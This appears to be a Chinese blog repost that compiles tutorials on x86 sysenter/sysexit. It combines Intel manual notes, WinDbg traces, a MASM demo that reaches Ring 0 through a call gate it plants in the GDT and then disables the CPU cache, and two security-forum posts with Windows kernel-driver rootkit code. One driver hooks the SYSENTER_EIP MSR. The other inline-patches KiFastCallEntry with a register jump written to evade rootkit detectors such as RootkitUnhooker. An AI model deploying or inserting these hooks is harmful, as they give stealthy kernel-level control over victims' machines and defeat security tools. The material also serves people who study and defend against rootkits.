在 Intel 的軟件開發(fā)者手冊第二、三卷(Vol.2B,Vol.3)中,4.8.7 節(jié)是關(guān)于 sysenter/sysexit 指令的詳細(xì)描述。手冊中說明,sysenter
指令可用于特權(quán)級 3 的用戶代碼調(diào)用特權(quán)級 0 的系統(tǒng)內(nèi)核代碼,而 SYSEXIT 指令則用于特權(quán)級 0 的系統(tǒng)代碼返回用戶空間中。sysenter 指
令可以在 3,2,1 這三個特權(quán)級別調(diào)用(Linux 中只用到了特權(quán)級 3),而 SYSEXIT 指令只能從特權(quán)級 0 調(diào)用。
執(zhí)行 sysenter 指令的系統(tǒng)必須滿足兩個條件:1.目標(biāo) Ring 0 代碼段必須是平坦模式(Flat Mode)的 4GB 的可讀可執(zhí)行的非一致代碼段。
2.目標(biāo) RING0 堆棧段必須是平坦模式(Flat Mode)的 4GB 的可讀可寫向上擴(kuò)展的棧段。
在 Intel 的手冊中,還提到了 sysenter/sysexit 和 int n/iret 指令的一個區(qū)別,那就是 sysenter/sysexit 指令并不成對,sysenter 指
令并不會把 SYSEXIT 所需的返回地址壓棧,sysexit 返回的地址并不一定是 sysenter 指令的下一個指令地址。調(diào)用 sysenter/sysexit 指令
地址的跳轉(zhuǎn)是通過設(shè)置一組特殊寄存器實現(xiàn)的。這些寄存器包括:
SYSENTER_CS_MSR - 用于指定要執(zhí)行的 Ring 0 代碼的代碼段選擇符,由它還能得出目標(biāo) Ring 0 所用堆棧段的段選擇符;
SYSENTER_EIP_MSR - 用于指定要執(zhí)行的 Ring 0 代碼的起始地址;
SYSENTER_ESP_MSR-用于指定要執(zhí)行的Ring 0代碼所使用的棧指針
這些寄存器可以通過 wrmsr 指令來設(shè)置,執(zhí)行 wrmsr 指令時,通過寄存器 edx、eax 指定設(shè)置的值,edx 指定值的高 32 位,eax 指定值的
低 32 位,在設(shè)置上述寄存器時,edx 都是 0,通過寄存器 ecx 指定填充的 MSR 寄存器,sysenter_CS_MSR、sysenter_ESP_MSR、
sysenter_EIP_MSR 寄存器分別對應(yīng) 0x174、0x175、0x176,需要注意的是,wrmsr 指令只能在 Ring 0 執(zhí)行。
這里還要介紹一個特性,就是 Ring0、Ring3 的代碼段描述符和堆棧段描述符在全局描述符表 GDT 中是順序排列的,這樣只需知道
SYSENTER_CS_MSR 中指定的 Ring0 的代碼段描述符,就可以推算出 Ring0 的堆棧段描述符以及 Ring3 的代碼段描述符和堆棧段描述符。
在 Ring3 的代碼調(diào)用了 sysenter 指令之后,CPU 會做出如下的操作:
1. 將 SYSENTER_CS_MSR 的值裝載到 cs 寄存器
2. 將 SYSENTER_EIP_MSR 的值裝載到 eip 寄存器
3. 將 SYSENTER_CS_MSR 的值加 8(Ring0 的堆棧段描述符)裝載到 ss 寄存器。
4. 將 SYSENTER_ESP_MSR 的值裝載到 esp 寄存器
5. 將特權(quán)級切換到 Ring0
6. 如果 EFLAGS 寄存器的 VM 標(biāo)志被置位,則清除該標(biāo)志
7. 開始執(zhí)行指定的 Ring0 代碼
在 Ring0 代碼執(zhí)行完畢,調(diào)用 SYSEXIT 指令退回 Ring3 時,CPU 會做出如下操作:
1. 將 SYSENTER_CS_MSR 的值加 16(Ring3 的代碼段描述符)裝載到 cs 寄存器
2. 將寄存器 edx 的值裝載到 eip 寄存器
3. 將 SYSENTER_CS_MSR 的值加 24(Ring3 的堆棧段描述符)裝載到 ss 寄存器
4. 將寄存器 ecx 的值裝載到 esp 寄存器
5. 將特權(quán)級切換到 Ring3
6. 繼續(xù)執(zhí)行 Ring3 的代碼
由此可知,在調(diào)用 SYSENTER 進(jìn)入 Ring0 之前,一定需要通過 wrmsr 指令設(shè)置好 Ring0 代碼的相關(guān)信息,在調(diào)用 SYSEXIT 之前,還要保證
寄存器edx、ecx 的正確性。
根據(jù) Intel 的 CPU 手冊,我們可以通過 CPUID 指令來查看 CPU 是否支持 sysenter/sysexit 指令,做法是將 EAX 寄存器賦值 1,調(diào)用
CPUID 指令,寄存器 edx 中第 11 位(這一位名稱為 SEP)就表示是否支持。在調(diào)用 CPUID 指令之后,還需要查看 CPU 的 Family、Model、
Stepping 屬性來確認(rèn),因為據(jù)稱 Pentium Pro 處理器會報告 SEP 但是卻不支持 sysenter/sysexit 指令。只有 Family 大于等于 6,Model
大于等于 3,Stepping 大于等于 3 的時候,才能確認(rèn) CPU 支持 sysenter/sysexit 指令。
/=============================================================================
//在WINDBG中對NTDLL.dll中的NtCreateFile函數(shù)的調(diào)試信息
ntdll!NtCreateFile:
7c92d682 b825000000 mov eax,25h
7c92d687 ba0003fe7f mov edx,offset SharedUserData!SystemCallStub (7ffe0300)
7c92d68c ff12 call dword ptr [edx]
7c92d68e c22c00 ret 2Ch
lkd> dd 7ffe0300
7ffe0300 7c92eb8b 7c92eb94 00000000 00000000
lkd> u 7c92eb8b
ntdll!KiFastSystemCall:
7c92eb8b 8bd4 mov edx,esp
7c92eb8d 0f34 sysenter
/**************************************************************/
SYSENTER簡介及相關(guān)例子
文章作者:wowocock1/CVC.GB
;眾所周知微軟自XP后引進(jìn)了FASTCALL SYSENTER,SYSEXIT來代替WIN2K下INT2E系統(tǒng)服務(wù)調(diào)用
;其優(yōu)點是快速而且沒有保留堆棧的開銷,為了便于大家理解我寫下面一個在WIN98下的例子
;來說明一下這2條指令的用法。ITNEL的手冊上關(guān)于他們介紹的很詳細(xì),我簡要說明一下
;SYSENTER是INTEL自P2后引進(jìn)的快速從RING3~RING0的FASTCALL,從FAMILY 6,MODEL 3,
;STEP 3也就是從PII300以后引進(jìn)的,這也是為什么WINXP需要PII300以上的原因。在使用SYSENTER
;之前必須定義好RING0 CS EIP ESP,通過設(shè)置相應(yīng)MSR寄存器,由WRMSR指令來設(shè)定(必須在RING0層執(zhí)行);
;通過將相應(yīng)的寄存器地址號放入ECX中,WRMSR可以設(shè)置這些MSR寄存器,對應(yīng)關(guān)系如下
;SYSENTER_CS_MSR 174H SYSENTER_ESP_MSR 175H SYSENTER_EIP_MSR 176H
;執(zhí)行SYSENTER指令的系統(tǒng)必須滿足 1:轉(zhuǎn)換后的RING0代碼段必須是FLAT,4GB的可讀可執(zhí)行
;的非一致代碼段.2:轉(zhuǎn)換后的RING0堆棧段必須是FLAT,4GB的可讀可寫向上擴(kuò)展的數(shù)據(jù)段
;由于FASTCALL不保存任何返回的地址,所以在調(diào)用前你必須自己設(shè)定好,RING0代碼段SELECTOR
;RING0堆棧段SELECTOR,RING3代碼段SELECTOR,RING3堆棧段SELECTOR,必須在GDT中連續(xù)的排列
;所以在XP下相應(yīng)的SELECTOR,必然是8H,10H,1BH,23H,必須將返回至RING3 EIP,ESP通過寄存器
;傳遞進(jìn)RING0以便SYSEXIT返回使用,在SYSEXIT返回之前,EDX為RING3 EIP,ECX為RING3 ESP
;而相應(yīng)的CS,SS,則由RING0 CS加上10H,18H來返回
;RING3~RING0
;1. 裝載SYSENTER_CS_MSR 到CS 寄存器.
;2. 裝載SYSENTER_EIP_MSR到 EIP寄存器。
;3. SYSENTER_CS_MSR+8 裝載到SS寄存器
;4.裝載SYSENTER_ESP_MSR 到ESP寄存器。
;5. 切換RING0.
;6. 清除 EFLAGS的 VM標(biāo)志
;7. 執(zhí)行RING0例程
;RING0~RING3
;1。SYSENTER_CS_MSR+16裝載到 CS寄存器
;2. 將EDX的值送入EIP
;3. SYSENTER_CS_MSR+24 裝載到SS寄存器
;4. 將ECX的值送入ESP
;5.切換回RING3
;6. 執(zhí)行EIP處的RING3指令
;下面的例子在示范的基礎(chǔ)上加了個小TRICK,就是在通過CALLGATE進(jìn)RING0設(shè)置MSR寄存器的同時
;關(guān)掉了你機(jī)器上的緩存,然后你可以看看在沒有緩存的情況下你的感覺如何,然后點擊一下
;對話框,則經(jīng)由SYSENTER指令進(jìn)入RING0設(shè)定好的地址處恢復(fù)你CPU緩存,所以別擔(dān)心,還有
;沒有緩存的時候你的動作最好慢一點,不然會讓你等的發(fā)瘋的,呵呵。
.686p
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
sysenter macro
db 0fh,34h
endm
sysexit macro
db 0fh,35h
endm
CR0_CD EQU 040000000h ; Cache Disable bit of CR0
CR0_NW EQU 020000000h ; Not Write-through bit of CR0
.data
Ring0Cs dw 0ffffh,0,09b00h,0cfh
Ring0Ss dw 0ffffh,0,09300h,0cfh
Ring3Cs dw 0ffffh,0,0fb00h,0cfh
Ring3Ss dw 0ffffh,0,0f300h,0cfh
trR dw ?
tssRing0Esp dd ?
GdtLimit dw ?
GdtAddr dd ?
Callgt dq 0 ;call gate’s selff
tmpCs dw ?
szTitle db "CPU info",0
msg db 100 dup (?)
Nightmare db "切換到其他窗口,嘗嘗沒CACHE的滋味!",0
.code
Start:
mov ax,ds
test ax,4
jz Exit;winnt
xor eax,eax
cpuid
lea edi,msg
xchg eax,ebx
stosd
xchg eax,edx
stosd
xchg eax,ecx
stosd
invoke MessageBoxA,0,addr msg,addr szTitle,0
mov eax,1
cpuid
test edx,800h
jz Exit
mov eax,2
cpuid
SetSel:
sgdt GdtLimit
str word ptr trR ;存儲任務(wù)寄存器
;-----------------------
; get the tr mes
;-----------------------
movzx esi,trR
add esi,GdtAddr ;ESi指向GDT中TSS描述副
mov eax,[esi+2]
and eax,0ffffffh
mov ebx,[esi+4]
and ebx,0ff000000h
or eax,ebx ;eax中保存TSS的基地址
push dword ptr[eax+4]
pop dword ptr [tssRing0Esp] ;保存RING0使用的堆棧地址
movzx eax,GdtLimit ;在GDT的最后選取四個表目將預(yù)設(shè)的4個描述符存入
test al,1
jz @f
inc eax
@@:
sub eax,4*8
mov tmpCs,ax
add eax,GdtAddr
lea esi,Ring0Cs
mov edi,eax
mov ecx,4*8
rep movsb
SetMsr:
;-------------------------------------
; 在GDT中尋找空白表項來制造調(diào)用門
;-------------------------------------
mov esi,GdtAddr
movzx eax,GdtLimit
call Search_XDT
;esi==gdt Base
mov esi,dword ptr GdtAddr
push offset Ring0_SetMsr
pop word ptr [esi+eax+0]
pop word ptr [esi+eax+6] ;Offset
mov word ptr [esi+eax+2],28h
mov word ptr [esi+eax+4],0EC00h ;sel=28h and attribute ->386 call gate!
and dword ptr Callgt,0
mov word ptr [Callgt+4],ax
pushad
call fword ptr [Callgt] ;Ring0!
popad
mov dword ptr [esi+eax+0],0
mov dword ptr [esi+eax+4],0
invoke MessageBoxA,0,addr Nightmare,addr Nightmare,0
lea edx,Exit
mov ecx,esp
sysenter
Exit:
push 00000000h ; Exit program
call ExitProcess
;----------------------------------------------------------------------
Ring0_SetMsr:
mov ecx,174h
movzx eax,tmpCs
wrmsr
inc ecx
mov eax,tssRing0Esp
wrmsr
inc ecx
lea eax,Ring0Ip
wrmsr
mov eax,cr0 ; read CR0
or eax,CR0_CD ; set CD but not NW bit of CR0
mov cr0,eax ; cache is now disabled
wbinvd ; flush and invalidate cache
; the cache is effectively disabled at this point, but memory
; consistency will be maintained. To completely disable cache,
; the following two lines may used as well:
or eax,CR0_NW ; now set the NW bit
mov cr0,eax ; turn off the cache entirely
retf
;----------------------------------------------------------------------
Ring0Ip:
pushad
pushf ; save the flags
cli ; disable interrupts while we do this
mov eax,cr0 ; read CR0
and eax,0dfffffffh ; now set the NW bit
mov cr0,eax ; turn on the cache entirely
and eax,0bfffffffh ; set CD but not NW bit of CR0
mov cr0,eax ; cache is now Ensabled
popf ; restore the flags
mov eax,cr0
mov [esp+4*7],eax
popad
sysexit
;----------------------------------------------------------------------
Search_XDT proc near
;entry esi==Base of Ldt or GDT ;Eax==Limit
pushad
mov ebx,eax
mov eax,8 ; skipping null selector
@@1:
cmp dword ptr [esi+eax+0],0
jnz @@2
cmp dword ptr [esi+eax+4],0
jz @@3
@@2:
add eax,8
cmp eax,ebx
jb @@1 ;if we haven’t found any free GDT entry,
;lets use the last two entries
mov eax,ebx
sub eax,7
@@3:
mov [esp+4*7],eax ; return off in eax
popad
ret
Search_XDT endp
end Start
;=======================================================================================================
1 【原創(chuàng)】rootkit hook之[六] -- sysenter Hook
--------------------------------------------------------------------------------
標(biāo) 題: 【原創(chuàng)】rootkit hook之[六] -- sysenter Hook
作 者: combojiang
時 間: 2008-02-26,12:25
鏈 接: http://bbs.pediy.com/showthread.php?t=60247
呵呵,今天這篇內(nèi)容少,比較簡單。
SYSENETER是一條匯編指令,它是在Pentium? II 處理器及以上處理器中提供的,是快速系統(tǒng)調(diào)用的一部分。SYSENTER/SYSEXIT這對指令專門用于實現(xiàn)快速調(diào)用。在這之前是采用INT 0x2E來實現(xiàn)的。INT 0x2E在系統(tǒng)調(diào)用的時候,需要進(jìn)行棧切換的工作。由于Interrupt/Exception Handler的調(diào)用都是通過 call/trap/task這一類的gate來實現(xiàn)的,這種方式會進(jìn)行棧切換,并且系統(tǒng)棧的地址等信息由TSS提供。這種方式可能會引起多次內(nèi)存訪問 (來獲取這些切換信息),因此,從PentiumII開始,IA-32引入了新指令:SYSENTER/SYSEXIT。 有了這兩條指令,
從用戶級到特權(quán)級的堆棧以及指令指針的轉(zhuǎn)換,可以通過這一條指令來實現(xiàn),并且,需要切換到的新堆棧的地址,以及相應(yīng)過程的第一條指令的位置,都有一組特殊寄存器來實現(xiàn),這類特殊寄存器在IA-32中稱為MSR(Model Specific Register)。這里牽涉到3個特殊寄存器:
SYSENTER_CS_MSR: New code segment selector 0x174
SYSENTER_ESP_MSR: New Stack Pointer 0x175
SYSENTER_EIP_MSR: New Instruction Pointer 0x176
這里標(biāo)出的3個16進(jìn)制數(shù)分別對應(yīng)這3個寄存器的地址,該地址用于Kernel debug時,通過rdmsr/wrmsr指令來讀/寫這3個寄存器。步驟如下:
10.JPG
1. 裝載SYSENTER_CS_MSR 到CS 寄存器,設(shè)置目標(biāo)代碼段
2. 裝載SYSENTER_EIP_MSR到 EIP寄存器,設(shè)置目標(biāo)指令
3. SYSENTER_CS_MSR+8 裝載到SS寄存器 ,設(shè)置棧段
4. 裝載SYSENTER_ESP_MSR 到ESP寄存器,設(shè)置棧幀
5. 切換RING0.
6. 清除 EFLAGS的 VM標(biāo)志
7. 執(zhí)行RING0例程
11.JPG
1. SYSENTER_CS_MSR+16裝載到 CS寄存器
2. 將EDX的值送入EIP
3. SYSENTER_CS_MSR+24 裝載到SS寄存器
4. 將ECX的值送入ESP
5. 切換回RING3
6. 執(zhí)行EIP處的RING3指令
我們在windbg中可以看看這個三個寄存器的情況,這個是我機(jī)器里的情況。
lkd> rdmsr 176
msr[176] = 00000000`8053dad0
lkd> rdmsr 175
msr[175] = 00000000`ba4e0000
lkd> rdmsr 174
msr[174] = 00000000`00000008
可以看到,我的機(jī)器里面當(dāng)前SYSENTER_EIP_MSR,SYSENTER_ESP_MSR,SYSENTER_CS_MSR這三個寄存器的值。
我們在微軟公開的內(nèi)核WRK中發(fā)現(xiàn)關(guān)于這三個寄存器的設(shè)置,其中SYSENTER_EIP_MSR設(shè)置的值是KiFastCallEntry。
代碼如下:
VOID
KiLoadFastSyscallMachineSpecificRegisters(
IN PLONG Context
)
/*++
Routine Description:
Load MSRs used to support Fast Syscall/return. This routine is
run on all processors.
Arguments:
None.
Return Value:
None.
--*/
{
PKPRCB Prcb;
UNREFERENCED_PARAMETER (Context);
if (KiFastSystemCallIsIA32) {
Prcb = KeGetCurrentPrcb();
//
// Use Intel defined way of doing this.
//
WRMSR(MSR_SYSENTER_CS, KGDT_R0_CODE);
WRMSR(MSR_SYSENTER_EIP, (ULONGLONG)(ULONG)KiFastCallEntry);
WRMSR(MSR_SYSENTER_ESP, (ULONGLONG)(ULONG)Prcb->DpcStack);
}
}
看看我電腦的情況如下:
lkd> rdmsr 176
msr[176] = 00000000`8053dad0
lkd> u 8053dad0
nt!KiFastCallEntry:
8053dad0 b923000000 mov ecx,23h
8053dad5 6a30 push 30h
8053dad7 0fa1 pop fs
8053dad9 8ed9 mov ds,cx
8053dadb 8ec1 mov es,cx
8053dadd 8b0d40f0dfff mov ecx,dword ptr ds:[0FFDFF040h]
8053dae3 8b6104 mov esp,dword ptr [ecx+4]
8053dae6 6a23 push 23h
下面是rootkit.com上的一個例子,這個例子有點不厚道,在你卸載的時候會bsod.我簡單修改了下,貼代碼如下:
#include "ntddk.h"
ULONG d_origKiFastCallEntry; // Original value of ntoskrnl!KiFastCallEntry
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
_asm
{
mov ecx, 0x176
xor edx,edx
mov eax, d_origKiFastCallEntry // Hook function address
wrmsr // Write to the IA32_SYSENTER_EIP register
}
}
// Hook function
__declspec(naked) MyKiFastCallEntry()
{
__asm {
jmp [d_origKiFastCallEntry]
}
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
theDriverObject->DriverUnload = OnUnload;
__asm {
mov ecx, 0x176
rdmsr // read the value of the IA32_SYSENTER_EIP register
mov d_origKiFastCallEntry, eax
mov eax, MyKiFastCallEntry // Hook function address
wrmsr // Write to the IA32_SYSENTER_EIP register
}
return STATUS_SUCCESS;
}
注意一點,大家用windbg的時候,配置symbol path,如圖:
9.JPG
后面貼上一篇墮落天才寫的文章鏈接:http://bbs.pediy.com/showthread.php?t=42705,
他inline hook 了KiFastCallEntry,采用detour方式,寫得很不錯。
上傳的附件 SysEnterHook.rar (973 字節(jié), 743 次下載)
;=====================================================================================================================
【原創(chuàng)】另一種sysenter hook方法(繞過絕大多數(shù)的rootkit檢測工具的檢測)
--------------------------------------------------------------------------------
標(biāo) 題: 【原創(chuàng)】另一種sysenter hook方法(繞過絕大多數(shù)的rootkit檢測工具的檢測)
作 者: 墮落天才
時 間: 2007-04-14,11:09
鏈 接: http://bbs.pediy.com/showthread.php?t=42705
*****************************************************************************
*標(biāo)題:【原創(chuàng)】另一種sysenter hook方法(繞過絕大多數(shù)的rootkit檢測工具的檢測) *
*作者:墮落天才 *
*日期:2007年4月14號 *
*****************************************************************************
先廢話,當(dāng)初是為了繞開NP對sysenter保護(hù)而想出來的,后來發(fā)現(xiàn)連RootkitUnhooker都繞了.
什么是sysenter hook我也不羅唆了,一般的攔截方法就是通過rdmsr wrmsr 兩個指令把原來的sysenter地址改成自己的sysenter地址來實現(xiàn)的.這種方法使用方便,但檢測也很容易.
這里介紹的另外一種方法不改變sysenter地址,而是通過直接在原來sysenter地址里面寫跳轉(zhuǎn)代碼來實現(xiàn)的,這實際上跟一般的函數(shù)頭inline hook一樣.這樣rootkit檢測工具就不會認(rèn)為sysenter已經(jīng)改變(實際上也是沒變).
一般的rootkit檢測工具檢測函數(shù)inline hook是通過檢測長跳轉(zhuǎn)指令0xE9的來判斷跳轉(zhuǎn)距離是不是超出函數(shù)所在的模塊范圍來確定的.但是實現(xiàn)跳轉(zhuǎn)我們也可以借助寄存器或變量(用變量跳轉(zhuǎn)需要涉及重定位問題,麻煩.所以一般用寄存器),這樣跳轉(zhuǎn)指令就不是0xE9了而是0xFF,這個絕大多數(shù)rootkit檢測工具是檢測不到的(包括著名的RootkitUnhooker,VICE).
由于我們已經(jīng)改變了KiFastCall函數(shù)頭,所以我們只能把原來的函數(shù)頭代碼放到另外一個地方執(zhí)行(動態(tài)分配內(nèi)存,當(dāng)然如果不考慮兼容性硬編碼也沒問題),然后再跳轉(zhuǎn)回來.這里使用了"三級跳",大概是這個樣子.
sysenter->KiFastCall
JMP -> MyKiFastCall(這里進(jìn)行攔截或什么的)
JMP -> KiFastCall head code (這里執(zhí)行原來KiFastCall函數(shù)頭代碼)
JMP -> KiFastCall + N(已經(jīng)執(zhí)行指令長度)
///////////////////////////////////////////////////////////////////////////////////////////////////
//墮落天才
//2007年4月14日
#include<ntddk.h>
#include "OpCodeSize.h"
ULONG uSysenter; //sysenter地址
UCHAR uOrigSysenterHead[8];//保存原來的八個字節(jié)函數(shù)頭
PUCHAR pMovedSysenterCode; //把原來的KiFastCall函數(shù)頭保存在這里
ULONG i; //記錄服務(wù)ID
__declspec(naked) void MyKiFastCallEntry(void)
{
__asm{
pop edi //因為用到了edi來跳轉(zhuǎn) 這里恢復(fù)
mov i, eax //得到服務(wù)ID
}
__asm{
pushad
push fs
push 0x30
pop fs
}
DbgPrint("sysenter was hooked! Get service ID:%X",i); //證明自己存在
__asm{
pop fs
popad
jmp pMovedSysenterCode //第二跳,跳轉(zhuǎn)到原來的函數(shù)頭代碼
}
}
//////////////////////////////////////////////////////
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
__asm{
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}
memcpy((PVOID)uSysenter,uOrigSysenterHead,8);//把原來函數(shù)頭的八個字節(jié)恢復(fù)
__asm{
mov eax,cr0
or eax,10000h
mov cr0,eax
sti
}
ExFreePool(pMovedSysenterCode); // 釋放分配的內(nèi)存
DbgPrint("Unload sysenterHook");
}
////////////////////////////////////////////////////////
VOID HookSysenter()
{
UCHAR cHookCode[8] = { 0x57, //push edi 第一跳,從KiFastCall跳到MyKiFastCallEntry.并繞過rootkit檢測工具檢測
0xBF,0,0,0,0, //mov edi,0000
0xFF,0xE7}; //jmp edi
UCHAR JmpCode[]={0xE9,0,0,0,0}; //jmp 0000 第三跳,從KiFastCall函數(shù)頭代碼跳轉(zhuǎn)到原來KiFastCall+N
int nCopyLen = 0;
int nPos = 0;
__asm{
mov ecx,0x176
rdmsr
mov uSysenter,eax //得到KiFastCallEntry地址
}
DbgPrint("sysenter:0x%08X",uSysenter);
nPos = uSysenter;
while(nCopyLen<8){ //我們要改寫的函數(shù)頭至少需要8字節(jié) 這里計算實際需要COPY的代碼長度 因為我們不能把一條完整的指令打斷
nCopyLen += GetOpCodeSize((PVOID)nPos); //參考1
nPos = uSysenter + nCopyLen;
}
DbgPrint("copy code lenght:%d",nCopyLen);
pMovedSysenterCode = ExAllocatePool(NonPagedPool,20);
memcpy(uOrigSysenterHead,(PVOID)uSysenter,8);//備份原來8字節(jié)代碼
*((ULONG*)(JmpCode+1)) = (uSysenter + nCopyLen) - ((ULONG)pMovedSysenterCode + nCopyLen)- 5;//計算跳轉(zhuǎn)地址
memcpy(pMovedSysenterCode,(PVOID)uSysenter,nCopyLen); //把原來的函數(shù)頭放到新分配的內(nèi)存
memcpy((PVOID)(pMovedSysenterCode + nCopyLen),JmpCode,5); //把跳轉(zhuǎn)代碼COPY上去
*((ULONG*)(cHookCode+2)) = (ULONG)MyKiFastCallEntry; //HOOK地址
DbgPrint("Saved sysenter code:0x%08X",pMovedSysenterCode);
DbgPrint("MyKiFastCallEntry:0x%08X",MyKiFastCallEntry);
__asm{
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}
memcpy((PVOID)uSysenter,cHookCode,8);//把改寫原來函數(shù)頭
__asm{
mov eax,cr0
or eax,10000h
mov cr0,eax
sti
}
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegistryPath)
{
DbgPrint("Welcome to sysenterhook.sys");
DriverObject->DriverUnload = OnUnload;
HookSysenter();
return STATUS_SUCCESS;
}
///////////////////////////////////////////////////////////////////////////////////////////////////
以上代碼在 XP SP2中文 + RootkitUnhooker下測試通過
同理 IDT hook也可以用這種方法實現(xiàn),HOOK的實質(zhì)是改變程序流程,無論在哪里改變
*************************************************************************************************
參考1, 海風(fēng)月影,【分享】西褲哥的 Hook Api Lib 0.2 For C
;http://bbs.pediy.com/showthread.php?p=420864
posted on 2009-09-04 19:40
楊彬彬 閱讀(3634)
評論(0) 編輯 收藏 引用